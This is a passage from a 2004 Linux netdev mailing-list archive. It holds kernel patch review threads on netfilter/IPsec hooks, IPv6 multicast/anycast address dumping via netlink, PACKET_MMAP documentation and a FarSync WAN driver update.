2004 01:19:06 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J6Io1n002631; Fri, 19 Mar 2004 01:18:51 -0500 Date: Thu, 18 Mar 2004 22:19:04 -0800 From: "David S. Miller" To: Patrick McHardy Cc: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 5/5]: netfilter+ipsec - policy checks Message-Id: <20040318221904.45011167.davem@redhat.com> In-Reply-To: <4059CF27.4030803@trash.net> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF27.4030803@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4121 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 685 Lines: 18 On Thu, 18 Mar 2004 17:32:39 +0100 Patrick McHardy wrote: > This patch makes xfrm_policy_check locate the correct policy after NAT. > For protocols which do policy checks in their receive routines the > reference to nfct has to be kept until policy checks are done, the > other ones still drop it in ip_local_deliver_finish. This patch looks fine to me. Other than the minor comments I've made the most unhappy I am with the input patch, and you agree it's grotty too. Let's look for a better solution, perhaps with new top-level SKB state, and then we can put all of your work in after you're made the other minor fixes I've asked for as well. Thanks Patrick. From yoshfuji@linux-ipv6.org Thu Mar 18 22:50:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:51:01 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J6oaKO009122 for ; Thu, 18 Mar 2004 22:50:36 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 59F6B33CE6; Fri, 19 Mar 2004 15:52:14 +0900 (JST) Date: Fri, 19 Mar 2004 15:52:14 +0900 (JST) Message-Id: <20040319.155214.101331883.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: mashirle@us.ibm.com, netdev@oss.sgi.com, xma@us.ibm.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040318220647.3dbb9c43.davem@redhat.com> References: <200403171130.30282.mashirle@us.ibm.com> <20040318220647.3dbb9c43.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4122 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 696 Lines: 18 In article <20040318220647.3dbb9c43.davem@redhat.com> (at Thu, 18 Mar 2004 22:06:47 -0800), "David S. Miller" says: > On Wed, 17 Mar 2004 11:30:30 -0800 > Shirley Ma wrote: > > > This patch is against Linux 2.6.4 kernel. It has been tested, 'ip' utility > > works fine. This patch is used by IPv6 MIBs. > > Are we really going to support adding anycast/multicast addresses using > RTM_NEW{MULTI,ANY}CAST rtmsgs? If not, let's not add them. > > Otherwise I like your patch. I think we'd like to do so (for anycast at least). -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Thu Mar 18 22:53:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 22:54:00 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J6rwKO009497 for ; Thu, 18 Mar 2004 22:53:58 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 9AA5933CE7; Fri, 19 Mar 2004 15:55:36 +0900 (JST) Date: Fri, 19 Mar 2004 15:55:36 +0900 (JST) Message-Id: <20040319.155536.20327066.yoshfuji@linux-ipv6.org> To: mashirle@us.ibm.com Cc: davem@redhat.com, netdev@oss.sgi.com, xma@us.ibm.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200403171130.30282.mashirle@us.ibm.com> References: <200403171130.30282.mashirle@us.ibm.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4123 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 373 Lines: 15 In article <200403171130.30282.mashirle@us.ibm.com> (at Wed, 17 Mar 2004 11:30:30 -0800), Shirley Ma says: > @@ -339,6 +345,7 @@ > IFA_LOCAL, > IFA_LABEL, > IFA_BROADCAST, > + IFA_MULTICAST, > IFA_ANYCAST, > IFA_CACHEINFO > }; Please, please do not change IFA_XXX values. You should put "IFA_MULTICAST" next to IFA_CACHEINFO. --yoshfuji From xma@us.ibm.com Thu Mar 18 23:17:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 23:17:18 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J7H1KQ010297 for ; Thu, 18 Mar 2004 23:17:16 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2J7Gt0Y733514; Fri, 19 Mar 2004 02:16:55 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2J7GsTe097080; Fri, 19 Mar 2004 00:16:54 -0700 In-Reply-To: <20040319.155536.20327066.yoshfuji@linux-ipv6.org> Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, mashirle@us.ibm.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Shirley Ma Date: Thu, 18 Mar 2004 23:16:52 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/19/2004 00:16:54 MIME-Version: 1.0 Content-type: multipart/related; Boundary="0__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C" X-archive-position: 4124 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 9752 Lines: 268 --0__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C Content-type: multipart/alternative; Boundary="1__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C" --1__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C Content-type: text/plain; charset=ISO-2022-JP Content-transfer-encoding: quoted-printable Thanks for your comments. I am going to modify the patch, removing RTM_NEWMULTICAST replaced by RTM_GETMULTICAST, removing RTM_NEWANYCAST replaced by RTM_GETANYCAST. IFA_MULTICAST must be added last! RTM_NEWANYCAST could be added later for adding anycast addresses through netlink as a seperate patch. I will resubmit the patch after I come back from my vacation one week later. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 = YOSHIFUJI Hideaki = / =1B$B5HF#1QL@=1B(B = mashirle@us.ltcfwd.linux.ibm.com= Sent by: = cc netdev-bounce@oss davem@redhat.com, = .sgi.com netdev@oss.sgi.com, Shirley = Ma/Beaverton/IBM@IBMUS, = yoshfuji@linux-ipv6.org = 03/18/2004 10:55 Subj= ect PM Re: [PATCH]dump interface IPv6 = multicast/anycast addresses thro= ugh netlink = = = = = = = In article <200403171130.30282.mashirle@us.ibm.com> (at Wed, 17 Mar 200= 4 11:30:30 -0800), Shirley Ma says: > @@ -339,6 +345,7 @@ > IFA_LOCAL, > IFA_LABEL, > IFA_BROADCAST, > + IFA_MULTICAST, > IFA_ANYCAST, > IFA_CACHEINFO > }; Please, please do not change IFA_XXX values. You should put "IFA_MULTICAST" next to IFA_CACHEINFO. --yoshfuji = --1__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline Content-transfer-encoding: quoted-printable

Thanks for your comments.

I am going to modify the patch,
removing RTM_NEWMULTICAST replaced by RTM_GETMULTICAST,
removing RTM_NEWANYCAST replaced by RTM_GETANYCAST.
IFA_MULTICAST must be added last!

RTM_NEWANYCAST could be added later for adding anycast
addresses through netlink as a seperate patch.

I will resubmit the patch after I come back from my vacation one week l= ater.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


3D"InactiveYOSHIFUJI Hideaki = / =1B$B5HF#1QL@=1B(B <yoshfuji@linux-ipv6.org>


=
          YOSHIFUJI Hideaki / =1B$B5HF#1QL@=1B(B <yosh= fuji@linux-ipv6.org>
          Sent by: netdev-bounce@oss.sgi.com

          03/18/2004 10:55 PM

=
3D""
To
3D""
mashirle@us.ltcfwd.linux.ibm.com
3D""
cc
3D""
davem@redhat.com, netdev@oss.sgi.com, Shirley Ma/Beave= rton/IBM@IBMUS, yoshfuji@linux-ipv6.org
3D""
Subject
3D""
Re: [PATCH]dump interface IPv6 multicast/anycast addre= sses through netlink
=3D""3D""<= /td>

In article <200403171130.30282.mashirle@us.ibm.com> (at Wed, = 17 Mar 2004 11:30:30 -0800), Shirley Ma <mashirle@us.ibm.com> say= s:

> @@ -339,6 +345,7 @@
>   IFA_LOCAL,
>   IFA_LABEL,
>   IFA_BROADCAST,
> + IFA_MULTICAST,
>   IFA_ANYCAST,
>   IFA_CACHEINFO
>  };

Please, please do not change IFA_XXX values.
You should put "IFA_MULTICAST" next to IFA_CACHEINFO.

--yoshfuji


= --1__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C-- --0__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C Content-type: image/gif; name="graycol.gif" Content-Disposition: inline; filename="graycol.gif" Content-ID: <10__=08BBE4CFDFB4AD3C8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhEAAQAKECAMzMzAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIXlI+py+0PopwxUbpu ZRfKZ2zgSJbmSRYAIf4fT3B0aW1pemVkIGJ5IFVsZWFkIFNtYXJ0U2F2ZXIhAAA7 --0__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C Content-type: image/gif; name="pic12001.gif" Content-Disposition: inline; filename="pic12001.gif" Content-ID: <20__=08BBE4CFDFB4AD3C8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhWABDALP/AAAAAK04Qf79/o+Gm7WuwlNObwoJFCsoSMDAwGFsmIuezf///wAAAAAAAAAA AAAAACH5BAEAAAgALAAAAABYAEMAQAT/EMlJq704682770RiFMRinqggEUNSHIchG0BCfHhOjAuh EDeUqTASLCbBhQrhG7xis2j0lssNDopE4jfIJhDaggI8YB1sZeZgLVA9YVCpnGagVjV171aRVrYR RghXcAGFhoUETwYxcXNyADJ3GlcSKGAwLwllVC1vjIUHBWsFilKQdI8GA5IcpApeJQt8L09lmgkH LZikoU5wjqcyAMMFrJIDPAKvCFletKSev1HBw8KrxtjZ2tvc3d5VyKtCKW3jfz4uMKmq3xu4N0nK BVoJQmx2LGVOmrqNjjJf2hHAQo/eDwJGTKhQMcgQEEAnEjFS98+RnW3smGkZU6ncCWav/4wYOnAI TihRL/4FEwbp28BXMMcoscQCVxlepL4IGDSCyJyVQOu0o7CjmLN50OZlqWmyFy5/6yBBuji0AxFR M00oQAqNIstqI6qKHUsWRAEAvagsmfUEAImyxgbmUpJk3IklNUtJOUAVLoUr1+wqDGTE4zk+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--0__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C Content-type: image/gif; name="ecblank.gif" Content-Disposition: inline; filename="ecblank.gif" Content-ID: <30__=08BBE4CFDFB4AD3C8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhEAABAIAAAAAAAP///yH5BAEAAAEALAAAAAAQAAEAAAIEjI8ZBQA7 --0__=08BBE4CFDFB4AD3C8f9e8a93df938690918c08BBE4CFDFB4AD3C-- From davem@redhat.com Thu Mar 18 23:33:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 23:33:02 -0800 (PST) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J7WxKO011041; Thu, 18 Mar 2004 23:32:59 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id i2J777A05714; Fri, 19 Mar 2004 02:07:07 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2J7Wuj09356; Fri, 19 Mar 2004 02:32:56 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2J7Wf1n013798; Fri, 19 Mar 2004 02:32:42 -0500 Date: Thu, 18 Mar 2004 23:32:55 -0800 From: "David S. Miller" To: Shirley Ma Cc: YOSHIFUJI.Hideaki/mashirle@us.ibm.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink Message-Id: <20040318233255.4cacc92c.davem@redhat.com> In-Reply-To: References: <20040319.155536.20327066.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4125 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 345 Lines: 10 On Thu, 18 Mar 2004 23:16:52 -0800 Shirley Ma wrote: > I am going to modify the patch, > removing RTM_NEWMULTICAST replaced by RTM_GETMULTICAST, > removing RTM_NEWANYCAST replaced by RTM_GETANYCAST. Please remember to number the RTM_* values correctly, the low order bits tell if the operation does a read or write operation. From jgarzik@pobox.com Thu Mar 18 23:47:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 23:47:58 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J7lqKO011677 for ; Thu, 18 Mar 2004 23:47:53 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B4EjP-0000P4-Kt; Fri, 19 Mar 2004 07:47:51 +0000 Message-ID: <405AA59A.20804@pobox.com> Date: Fri, 19 Mar 2004 02:47:38 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: uaca@alumni.uv.es CC: linux-net@vger.kernel.org, Netdev Subject: Re: RFC/Documentation: PACKET_MMAP memory allocation References: <20040318131737.GA1788@pusa.informat.uv.es> In-Reply-To: <20040318131737.GA1788@pusa.informat.uv.es> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4126 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 377 Lines: 13 uaca@alumni.uv.es wrote: > I would like to hear comments about this documentation I made. > > Dave: maybe this is useful to be included in kernel documentation or at > least should be mentioned in CONFIG_PACKET_MMAP help? Pretty decent... we've needed documentation on this. I wouldn't mind putting it into the kernel tree, if there isn't a better place... Jeff From xma@us.ibm.com Fri Mar 19 00:04:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 00:04:18 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J83kKQ012350 for ; Fri, 19 Mar 2004 00:04:00 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2J83f0Y546766; Fri, 19 Mar 2004 03:03:41 -0500 Received: from d03nm124.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2J83dkd379670; Fri, 19 Mar 2004 01:03:40 -0700 In-Reply-To: <20040318233255.4cacc92c.davem@redhat.com> Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink To: "David S. Miller" Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, yoshfuji@linux-ipv6.org, "YOSHIFUJI.Hideaki" X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Shirley Ma Date: Fri, 19 Mar 2004 00:03:35 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/19/2004 01:03:40 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4CFDFBFBBE48f9e8a93df938690918c08BBE4CFDFBFBBE4" Content-Disposition: inline X-archive-position: 4127 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 680 Lines: 35 --0__=08BBE4CFDFBFBBE48f9e8a93df938690918c08BBE4CFDFBFBBE4 Content-type: text/plain; charset=US-ASCII Yes. I will. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4CFDFBFBBE48f9e8a93df938690918c08BBE4CFDFBFBBE4 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Yes. I will.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228

--0__=08BBE4CFDFBFBBE48f9e8a93df938690918c08BBE4CFDFBFBBE4-- From kevin.curtis@farsite.co.uk Fri Mar 19 01:26:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 01:26:43 -0800 (PST) Received: from relay2.ftech.net (relay2.ftech.net [195.200.0.97]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J9QZKO019568 for ; Fri, 19 Mar 2004 01:26:38 -0800 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay2.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1B4GGq-0004sc-00; Fri, 19 Mar 2004 09:26:28 +0000 Received: from pc9.faradsl.ftech.co.uk ([212.32.46.170] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1B4GGq-00055A-00; Fri, 19 Mar 2004 09:26:28 +0000 Subject: RE: Update FarSync WAN driver in 2.6 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 19 Mar 2004 09:26:28 -0000 Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CC84@general.hq.farsitecommunications.com> X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.6 Thread-Index: AcP+9VRqHpr28/PlTpO8fXe/3pey7gAeAfzQAAnIc7ACL6D9wAFQN36A From: "Kevin Curtis" To: "Jeff Garzik" Cc: , , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2J9QZKO019568 X-archive-position: 4128 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev Content-Length: 1995 Lines: 87 Hi Jeff, the FarSync driver updates in the 2.4 and 2.6 Kernels is becoming a little more critical. Please can you make your best efforts to incorporate it into the next release of each. Kind Regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 -----Original Message----- From: Kevin Curtis Sent: 12 March 2004 16:57 To: Kevin Curtis; 'Jeff Garzik' Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: RE: Update FarSync WAN driver in 2.6 Any progress on getting the farsync patches into the 2.4 and 2.6 Kernels? Kevin -----Original Message----- From: Kevin Curtis Sent: 01 March 2004 13:56 To: Kevin Curtis; 'Jeff Garzik' Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: RE: Update FarSync WAN driver in 2.6 Here is the modified patch. It installs against 2.6.4-pre1 Best get it in quick before net_device is given back to the hdlc layer again :-> Kevin -----Original Message----- From: Kevin Curtis Sent: 01 March 2004 09:15 To: 'Jeff Garzik'; Kevin Curtis Cc: netdev@oss.sgi.com; davem@redhat.com Subject: RE: Update FarSync WAN driver in 2.6 Hi, looks as though the 2.6.4-pre1 patch has changed farsync.c, which is probably why the patch will not apply. I would re-work the patch against this release. What is the status of the 2.4.x patch that I sent a while back? I still need to make one more change to it. I need to know if to resend the whole patch, or a n additional patch with the change? Kevin -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: 29 February 2004 18:53 To: Kevin Curtis Cc: netdev@oss.sgi.com; davem@redhat.com Subject: Re: Update FarSync WAN driver in 2.6 hum... Patch looks OK to appy, but does not apply against the latest 2.6.x kernel. Also, it is possible to split your patch into two pieces: one patch with nothing but indentation/whitespace cleanups, and the other patch with functional changes? Jeff From herbert@gondor.apana.org.au Fri Mar 19 03:00:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 03:00:13 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JB07KO024053 for ; Fri, 19 Mar 2004 03:00:08 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4Hj6-0006g3-00; Fri, 19 Mar 2004 21:59:44 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4Hj1-0007d9-00; Fri, 19 Mar 2004 21:59:39 +1100 Date: Fri, 19 Mar 2004 21:59:39 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 2/5]: netfilter+ipsec - output hooks Message-ID: <20040319105939.GA29066@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CEEC.7070009@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4059CEEC.7070009@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4129 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 1818 Lines: 43 On Thu, Mar 18, 2004 at 05:31:40PM +0100, Patrick McHardy wrote: > This patch adds new output-hooks. Packets with dst->xfrm != NULL > traverse the POST_ROUTING hook before dst_output is called. The > transformers mark the packets in the control buffer with a new flag > IPSKB_XFRM_TRANSFORMED, these packets then traverse the LOCAL_OUT > hook when they hit ip_output. Thank you very much for your patches. This is definitely the biggest show stopper with the current IPsec stack. I've just got a minor point about this one: > @@ -119,12 +119,14 @@ > /* This is gross, but inline doesn't cut it for avoiding the function > call in fast path: gcc doesn't inline (needs value tracking?). --RR */ > #ifdef CONFIG_NETFILTER_DEBUG > -#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \ > - nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), INT_MIN) > +#define NF_HOOK_COND(pf, hook, skb, indev, outdev, okfn, cond) \ > +(!(cond) \ > + ? (okfn)(skb) \ > + : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), INT_MIN)) Any reason why this is written with a negated cond? I get confused by double negations :) > #define NF_HOOK_THRESH nf_hook_slow > #else > -#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \ > -(list_empty(&nf_hooks[(pf)][(hook)]) \ > +#define NF_HOOK_COND(pf, hook, skb, indev, outdev, okfn, cond) \ > +(!(cond) || list_empty(&nf_hooks[(pf)][(hook)]) \ Ditto, what about ((cond) && !list_empty(&nf_hooks[(pf)][(hook)) \ ? nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), INT_MIN) \ : (okfn)(skb)) -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From herbert@gondor.apana.org.au Fri Mar 19 03:07:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 03:07:41 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JB7bKO024491 for ; Fri, 19 Mar 2004 03:07:38 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4HqW-0006jn-00; Fri, 19 Mar 2004 22:07:24 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4HqS-0007eG-00; Fri, 19 Mar 2004 22:07:20 +1100 Date: Fri, 19 Mar 2004 22:07:19 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks Message-ID: <20040319110719.GB29066@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> 